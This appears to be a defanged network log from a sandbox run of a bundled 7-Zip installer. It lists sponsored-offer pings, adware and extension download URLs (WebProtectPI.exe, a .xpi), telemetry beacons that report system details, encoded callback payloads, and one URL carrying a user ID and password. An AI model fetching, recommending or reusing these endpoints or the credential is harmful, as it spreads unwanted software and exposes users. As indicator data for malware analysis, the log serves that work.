hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=1&index_in_screen=1&index_in_session=1&display_height=110&0.8580236753114998	78.138.127.15
hxxp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423	78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=2&index_in_screen=1&index_in_session=2&display_height=80&0.36491736774588723	78.138.127.15
hxxp://stats.localkeymappeer.com/installer.gif?action=started&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=97E0D9D934E84791AE8E9FB2AE590BFCPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE13c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_36&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1429690905&procruntime=3&rnd=1429690908	54.231.9.60
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=100&n=init_start_funnel_step_name&rnd=1429690905	54.231.33.102
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=6f9bf9cef49cde4880978c5eccca4dc0&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=267b5acad1022173fcd5460d52948e54&tokyo_csrf2_timestamp=1429691030&slot_number=4&index_in_screen=1&index_in_session=4&display_height=170&0.5185961038664062	78.138.127.15
hxxp://rep.shopper-pro.com/app/ping.ashx?e=QgW8pN5r26bof2QYjF1uPyGZf5tV7NUi56XqnYmheUgSZTerw9Y85dVUaX7QH4byNJ0yl9harBSLcjHZ8Eo6lQycnGOnYW3FW0VIswI6GNPXmz2ZWq7EeY4CjMIbuSmdGKzY45zi1OnWyB8eDAkaikyNo/Tb6k0OWO0o0lcgU2xnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDCm4 jApsJwUl7nMCA Puxn33L58g5Vfvh4hRH7uafCPlIFwve8uU r3mRAuGMAAM9 inPTLZDtg=	173.239.4.105
hxxp://webprotectionfree.com/c/webprotector_chrome	37.58.109.2
hxxp://webprotectionfree.com/a/9813.xpi	37.58.109.2
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=3&index_in_screen=1&index_in_session=3&0.5481515553127376	78.138.127.15
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va/Y/O50oRY4mZGcLghnE/hl7kN6o7do63berPp8I6b9hEpjLCrDgTug3T3SRc0DL8l/N3fFIaCTlgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS6JtvHUfgpuU1na42knl8dt2p5Dhwj6xWsxk4TCH dVlV0fzcryGBS3Q2V/0a8esdQ==	198.232.124.192
hxxp://bi.bisrv.com/installer/ajax	78.138.127.15
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=60i6h5i9K tFwtfIvB/2UnoWj6SXffCIjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNgo83IIsWyOE JroixS qna4RKWS/uGjvs2PX1eVpaIgCkX7sOU3vFHmS0Zrngqa/u6z7Uinv/jhK7uAPHPA/SIWGJQvu9673IlxQB6eB5S9R7UpgWEByNCUHeR8YCF3B0MgIN2G2GkE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEuibbx1H4KblNZ2uNpJ5fHbdqeQ4cI sVrMZOEwh/nVZVdH83K8hgUt0Nlf9GvHrHU=	198.232.124.192
hxxp://webprotectionfree.com/b/WebProtectPI.exe?s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&v=4.1.0.13	37.58.109.2
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429690911	54.231.33.102
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=555c681c-bef1-485b-a8f4-c342b7ce2d91&Password=gDxC9Bha&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429690897&SBPIDS=1&KA=1
hxxp://crl.globalsign.net/root-r3.crl	108.162.232.199
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va8U4NDWVSf76ATxIUcsgQ wO1MeTElIgRus2zM3OKTsdhhqfTLLUt3A0w03bJUd6M6r6tum2 2Wo8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfVhzKGZrtoOnPia6IsUvvqp2uESlkv7ho77Nj19XlaWijbMb8pyXMn8=	198.232.124.192
hxxp://bi.bisrv.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=1&index_in_screen=1&index_in_session=1&0.3763491045621731	78.138.127.15
hxxp://lb.webovernet.com/settings?s=9813&ins=1&ver=1.00	173.45.105.114
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429690911	54.231.33.102
hxxp://ocsp.comodoca.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBSOJaE2H4hHYQzP74hlLuO41NG+EAQUHsWxLH2H2gJofCW8DAeEP7bP3vECEQDmFsbNcBDBl+cij2b1soa7	178.255.83.1
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=Bla1gpvbWwBFwtfIvB/2Ur1pdURLVI9AjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNgo83IIsWyOE JroixS qna4RKWS/uGjvs2PX1eVpaIgCkX7sOU3vFHmS0Zrngqa/u6z7Uinv/jhK7uAPHPA/a1yMTX l/6fSl3u293svNWe4QpoO1WcaCmF904v4t2DWh4MCMnJFQgE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEuibbx1H4KblNZ2uNpJ5fHbdqeQ4cI sVrMZOEwh/nVZVdH83K8hgUt0Nlf9GvHrHU=	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=N6dOqWm8Q97B 4EkIHdGP1cIRGsRtnBa7OXLse4BafTbQC nVTu53mZVsyaCUtL6kJDZemxzbLHWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdzDfL2GbTHUVR5AawbKoxpd5sSQkmuoYIk0rxKiBQAQaACykertHSH4s2O1I39PFhQC drCF7eFc68xQtOPoFdziGZvY0I4cPzdW36cscYu2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jwcgnxskTEU3UUNYg7k1gh3qy44NMFjniEc/tpgWF 4QCPq0sZbJmrMOG6Yjxv3CA==	198.232.124.192
hxxp://rep.shopper-pro.com/app/ping.ashx?e=j7YMo/n29XPRUlNDQ0FfzXI0A0MEgFsCHTtH8CUDzbT7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lF42COn1MpAq7ulJQO8zoo5KZ41CPq3IASdvNRLeb/tYs4164GCUCrFoceVsKClDm0InYace3OQdd8zJZOZia4B/MCmMt8HPuvtm2x/E2lxmxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kjynWwnXRJTWnd3Szt4bQxRHjDFq fkydjBeK4wy7RZBmSO/7e6U1g/fWQ10mKav51A8SfsOq8sVv	173.239.4.105
hxxp://webprotectionfree.com/c/LiveUpdateWPP_is.exe	37.58.109.2
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/7790.ashx?e=eISsn0A7mAY luBT5UotGDUK7GK7BZ30FOuh80Io0Y54E7mrr1h80riKIFo3W8f23Wq7IsWCDz5m Ygl8Eay0CN9h bV19VdXQO8eCkzNk9LWPkwGrB/imF904v4t2DTTuHrYVulo109x0h yMmOq3 e5cYLWVDvEq1XCmEIT/KGwMMc0gnpNgExseWQzn2gx4pqovyBvFpdD3k9Bz56StbFykGQeFJDeQKlJvveiYBN5p9ENNd42Jy LrysKIChDb8xDMtOox69ZimTX2csKzbMzc4pOx2GGp9MstS3cDTDTdslR3ozqAqUZoVYaYqMf1yxTT/30MA9uFDT8/vF0n/27iYAIjK5pdl3V4yoSZtC3ZUXmNv4hOEZ9fC9NN7s9C7tmmeIQ4UJj9eY3tRmk7I4yfJnN09rt2l8NGmYj2E1HYcjpoPKAXI5V7Gtdqpvy6uPeX Y MzVNympUSpDG1jkfk8RUtXBZN1YEp6CgBTkqHD55VI9tsBE3goakaNKHf2N3vo8q9B74JTBGQK5XqeKgixlj5JRy9SKUBStobWHq/Ys8JKTptjI6DAEWldLdCZvbg0Vxe jCJhwZ2krd1LISTKeN3CckdTtpt CJHBL2Jt9fHj8veJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5ZtT8IaYnlic=	198.232.124.192
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429690911	54.231.33.102
hxxp://errors.localkeymappeer.com/installer-error.gif?action=sesamy&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=97E0D9D934E84791AE8E9FB2AE590BFCPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE13c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429690905&procruntime=3&rnd=1429690908	54.231.33.102
hxxp://webprotectionfree.com/b/WebProtectPI.exe?s=9813&i=9B747F14-BE29-4C4C-91EC-2A9AD83B6959&v=4.1.0.13	37.58.109.2
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/16945.ashx?e=2fVCHF6kf8i8qFEAMB5m TAsk6sTGOh67OXLse4BafQHqUQ0J3/4E9SSaUQFDqWEnmP3t8anGDfIXaX4UOzVQy4btG OZIk/mETyJyixTFVdn5IXPnT9 7PiCC4paVhd0qyZh7o5utwAZbgHkoXRfcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXPyVuRvRqbhg=	198.232.124.192
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=6f9bf9cef49cde4880978c5eccca4dc0&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=267b5acad1022173fcd5460d52948e54&tokyo_csrf2_timestamp=1429691030&slot_number=1&index_in_screen=1&index_in_session=1&display_height=75&0.9800367547052495	78.138.127.15
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=QgW8pN5r26ZQhScA1jb3T0jF1bjII1t47OXLse4BafTbQC nVTu53mZVsyaCUtL6kJDZemxzbLHWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdzDfL2GbTHUVR5AawbKoxpd5sSQkmuoYF2oGot0MQhTYCpHZc9ZUaGGezoD1qtkebhzXK2mWcezxLLCQXXwGXzCAftlZERRx2ijEAD 5VMSWqN41HTaAkoLRhFr7R7M5X6K3NyMhemQUYEfqtRQD78IVG4A1llRrdZ2uNpJ5fHbdqeQ4cI sVrMZOEwh/nVZVdH83K8hgUtt19n teix7 rMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUQECTO3/voqUO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGq8VQmTt9zY	198.232.124.192
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.047468491246051625	78.138.127.15
hxxp://rep.shopper-pro.com/app/ping.ashx?e=j7YMo/n29XPRUlNDQ0FfzXI0A0MEgFsCHTtH8CUDzbT7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lF42COn1MpAq7ulJQO8zoo5KZ41CPq3IASdvNRLeb/tYs4164GCUCrFoceVsKClDm/Wv9kqlZCJeiSUZWap5kVTyfwmWa4R8zuIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF9Ycyhma7aDpz4muiLFL76qdrhEpZL 4aO zY9fV5WlojqF5wm2r6yMeA0Jt4uzXIKOEog NNy6LA==	173.239.4.105
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429690916	54.231.33.102
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429690916	54.231.33.102
hxxp://webprotectionfree.com/node/?s=9813&br=2	37.58.109.2
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.4&utms=6&utmn=1997704816&utmhn=installer.filebulldog.com&utmhid=1237336557&utmr=-&utmp=Installer_Init&utmht=1429691030686&utmac=UA-31676879-1&utmcc=__utma=1.740709646.1429690889.1429690889.1429690889.1;+__utmz=1.1429690889.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAAAAAAABAAAAAAAAAAAE~	173.194.122.2
hxxp://ocsp2.globalsign.com/gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhZyg35kUM7JUe4UHDT5+Nwg==	108.162.232.199
hxxp://online.GOOBZO.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.5&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://stats.localkeymappeer.com/apps.gif?action=install&app=70299&appver=&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=97E0D9D934E84791AE8E9FB2AE590BFCPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE13c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1429690905&lifetime=0&silent=1&crtnm=na&procstarttime=1429690905&procruntime=15&rnd=1429690920	54.231.9.60
hxxp://logs.localkeymappeer.com/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429690905&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429690905	69.16.175.10
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=N6dOqWm8Q97B 4EkIHdGP1cIRGsRtnBa7OXLse4BafTbQC nVTu53mZVsyaCUtL6kJDZemxzbLHWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdzDfL2GbTHUVR5AawbKoxpd5sSQkmuoYIk0rxKiBQAQaACykertHSEqjHjRwH0s7BD4NsK07Wi5s IILilpWF1xgjSk8GGeA4y9CQuy MOErhBhNhDB4mSs2zM3OKTsdhhqfTLLUt3A0w03bJUd6M6gKlGaFWGmKjH9csU0/99DAPbhQ0/P7xdJ/9u4mACIyqqfV3Ow7bWo2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jwcgnxskTEU3UUNYg7k1gh3qy44NMFjniEc/tpgWF 4QCPq0sZbJmrMOG6Yjxv3CA==	198.232.124.192
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=c0XmKevqA0lyNANDBIBbAqjOoZRs4Z 4 0R MP RL3VKgFoRkIu6RpNh8S9i4d0Hnb22gmYS8RsDllQ9J4QRpkb2k6Rn898YXCSgtUXqN5/aaUzToxOfiz0mbos5SmUuL1RonSUM0G8HF9ed47qLJdLkq GrncHeyXBDP8Ld0 yRF51HAH62ECVvD8H/vspbnlzTexKMK8SG7NLJhlXAptjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Bjt6DgsNnxOwUbmkSx2157mT/v0ajD3y	54.197.238.106
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/16945.ashx?e=/9ZmISdorEsUXj5SpDTbO0XC18i8H/ZSvWl1REtUj0CMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK82CjzcgixbI4T4muiLFL76qdrhEpZL 4aO zY9fV5WloiAKRfuw5Te8UeZLRmueCpr 7rPtSKe/ Md2cjirIcT2Uu2F7cTkckVKXe7b3ey81Z7hCmg7VZxoKYX3Ti/i3YP qW0w MbMw/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLApuPowKbCcFJe5zAgPj7sZ99y fIOVX74eIUR 7mnwjv/RLtOAVqc4=	198.232.124.192
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=LCnUzM5l8JL2b5ZtEYATmCGZf5tV7NUiB70p5cFj8vcD/fqz7XUSNP/TL4QSzfDiBG/sM70J21zXoGRO e/ZLiQlJ2XhFkJwtYRRGpvjKZmzjXrgYJQKsUCndBhIJGn5Gl3VMfCFqNT669uXeODcaYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbcvKYfodYqVdoFBzsdHnoxY0nFdBrCug2ZuS0/O3oV2q2/NIxeD7P1aau9xWXQx//
hxxp://ocsp.godaddy.com//MEIwQDA+MDwwOjAJBgUrDgMCGgUABBQdI2+OBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc=	188.121.36.239
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=200&n=init_end_funnel_step_name&rnd=1429690909	54.231.33.102
hxxp://download.mozilla.org/?product=firefox-34.0.5-complete&os=win&lang=en-US	63.245.215.111
hxxp://ocsp2.globalsign.com/gscodesigng2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRruLd2WRFk6cRYGFIqkQ4J8hxDogQUCG7YtpyKv+0+18N0XcyAH6gvUHoCEhEhZ1N/ArcYWNWqP8XWy7QmXA==	108.162.232.199
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=WL9usJOVMsPXmto/P2xI1iGZf5tV7NUiQN2G3STfV1oSZTerw9Y85XkjLFx9TDtKsPYyGQt5yHQzixC5kmTb5s610XCmzC22BHIQSAUi/qZ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOL iC/H71WQ Kfz/LBnabZ4tyMdnwSjqVyrGxS5fpqxv3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OdBaNFR1Cr06TJP9M3NuQpnzbANYrsS2gQQxJ9I93iAyu0ButGm56Bf/Uc/anY3mQOZi02 fPW7D38JdoZvbQDv3AqTFiqNP5w==	54.197.238.106
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429690911	54.231.33.102
hxxp://logs.localkeymappeer.com/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429690905&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429690905	69.16.175.10
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/12502.ashx?e=4mC0vXGWFtpLIQoO9u2NqiGZf5tV7NUiW1tgKrNy38kDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/ixO6Rp7XuOM0CN9h bV19VdXQO8eCkzNk9LWPkwGrB/imF904v4t2DTTuHrYVulo109x0h yMmOq3 e5cYLWVDvEq1XCmEIT/KGwMMc0gnpNgExseWQzn2EHlpLL4kVIVRJZefzfQYZofIeaN2K162EghD3HnQv1a/gCZD66/sdSVKFBzVQWjB05oujAfFWpTOgMsHybNe40DPXjVNm atrHsr10IkKsruX7BCtHf6UPtw4 /14NvCeXF a8uH5B6JyaeWsFlhCm4ldslWa se8yRPjkBZF8rSGQI7yg9q76fgRK767/K4N7Ox2sptuWqNJxXQawroNmbktPzt6FdqMa0vJ6oECP23x/pimJHbwt/saWmBvzoxegJbZL45kOeZTnxk34KukeUhRgBI9gVsBWE949qIFc0NnHqPoiMqfasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruRy5x0Up4A3P	198.232.124.192
hxxp://webprotectionfree.com/c/webprotector_installer.exe	37.58.109.2
hxxp://rep.shopper-pro.com/app/ping.ashx?e=fx25sIC5hWOfZNC1TqAoBJengxtxU5B2TEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPvYQ7YSDf5fYXOWigz0aHloM9C2BoWbdEkyeawv50oOJw4LO6ub5l5rBjqlmzKnb11WfmaK7dF89zNhnv/igXYxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kjynWwnXRJTWnd3Szt4bQxRHjDFq fkydjBeK4wy7RZBmSO/7e6U1g/ea83RtHqGthw8SfsOq8sVv	173.239.4.105
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.4&utms=2&utmn=1371001495&utmhn=installer.filebulldog.com&utmhid=1351802398&utmr=-&utmp=Offer_Accepted&utmht=1429690987281&utmac=UA-31676879-1&utmcc=__utma=1.740709646.1429690889.1429690889.1429690889.1;+__utmz=1.1429690889.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~	173.194.122.2
hxxp://webprotectionfree.com/c/SetupComponents.exe	37.58.109.2
hxxp://ocsp.godaddy.com//MEkwRzBFMEMwQTAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX+2yz8LQsgM4CCDsMjSNG/1/Z	188.121.36.239
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8=	23.51.123.27
hxxp://stats.localkeymappeer.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70121&appver=&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A95FE5811DB848B88766ECAF84B0AC31PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE16dHNtdHljMCw0NjA5ZjM1ZS1mZmY0LTQ3OTctODdiYS0wNThkYmI4ODIyY2EsIiwidW5xIjoiNDYwOWYzNWUtZmZmNC00Nzk3LTg3YmEtMDU4ZGJiODgyMmNhIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_32&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429690905&procruntime=16&rnd=1429690921	54.231.9.60
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/18865.ashx?e=CMT2M57d1xmfZNC1TqAoBHsn3FpN4laB1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6Zamn/tEKIOyBXf1ws7XaD2yIg0p1vUMLr4E8SFHLIEPsGJTlYCQaOf7GuVxeoIbRG3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q==	198.232.124.192
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=3&index_in_screen=1&index_in_session=3&display_height=170&0.7164267805809253	78.138.127.15
hxxp://stats.localkeymappeer.com/apps.gif?action=install&app=70121&appver=&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A95FE5811DB848B88766ECAF84B0AC31PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE16dHNtdHljMCw0NjA5ZjM1ZS1mZmY0LTQ3OTctODdiYS0wNThkYmI4ODIyY2EsIiwidW5xIjoiNDYwOWYzNWUtZmZmNC00Nzk3LTg3YmEtMDU4ZGJiODgyMmNhIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1429690905&lifetime=0&silent=1&crtnm=na&procstarttime=1429690905&procruntime=16&rnd=1429690921	54.231.9.60
hxxp://crl.globalsign.net/root.crl	108.162.232.199
